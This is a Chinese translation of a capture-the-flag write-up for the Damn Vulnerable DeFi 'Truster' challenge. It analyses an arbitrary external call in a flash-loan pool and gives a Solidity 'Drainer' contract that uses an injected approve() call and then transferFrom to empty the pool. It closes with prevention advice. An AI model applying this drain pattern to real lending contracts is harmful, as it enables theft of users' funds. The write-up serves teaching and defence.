Damn Vulnerable DeFi 解决方案 — #3. Truster 漏洞

本文分析了Damn Vulnerable DeFi V4挑战中的Truster漏洞。该漏洞存在于flashLoan()函数中,允许通过target.functionCall(data)执行任意函数调用,攻击者可以利用此漏洞,无需借款即可通过调用approve()函数获得授权,转移pool中的所有tokens到攻击者地址,最终成功攻击。

Damn Vulnerable DeFi V4 解决方案 — #3. Truster

本解释假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。

挑战概述

越来越多的借贷池提供闪电贷。 在这种情况下,一个新的池已经启动,它免费提供 DVT 代币的闪电贷。

该池持有 100 万个 DVT 代币。 你什么都没有。

要通过此挑战,请执行单个交易来拯救池中的所有资金。 将资金存入指定的恢复帐户。

漏洞分析

flashLoan() 函数中,我们可以看到该合约允许通过 target.functionCall(data) 语句进行任意的函数调用。 这使得攻击者可以完全控制在贷款转移后调用哪个函数。

根本问题在于,合约假定外部调用是安全的,只要在交易结束时保持代币余额即可。 但是,它完全忽略了在外部调用期间执行的操作,这些操作可能包括授权未来的转账。

攻击流程

  1. 调用 flashLoan() 并传入 0 金额(不需要实际借款)
  2. 对于 data,编码一个 approve() 调用,授予我们转移池中所有代币的权限
  3. 池本身将代表我们执行此授权
  4. 余额检查通过,因为我们尚未提取任何代币
  5. 闪电贷完成后,使用 transferFrom() 将所有代币从池转移到我们的地址

解决方案

    contract Drainer {
        constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery) {
            bytes memory data = abi.encodeWithSignature(
                "approve(address,uint256)",
                address(this),
                token.balanceOf(address(pool))
            );

            pool.flashLoan(0, address(this), address(token), data);

            token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
        }
    }
    /**
    * CODE YOUR SOLUTION HERE
    * 在这里写你的解决方案
    */
    function test_truster() public checkSolvedByPlayer {
        Drainer drainer = new Drainer(token, pool, recovery);
    }

预防机制

最简单的解决方案是完全删除 target.functionCall(data),如果它对于闪电贷功能不是必不可少的。 闪电贷通常不需要执行任意的外部调用。 闪电贷通常调用在初始合约中实现的精确函数,通常遵循标准的回调模式,其中借款人实现特定的接口(示例:https://aave.com/docs/developers/flash-loans)。

GitHub 包含解决方案的仓库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/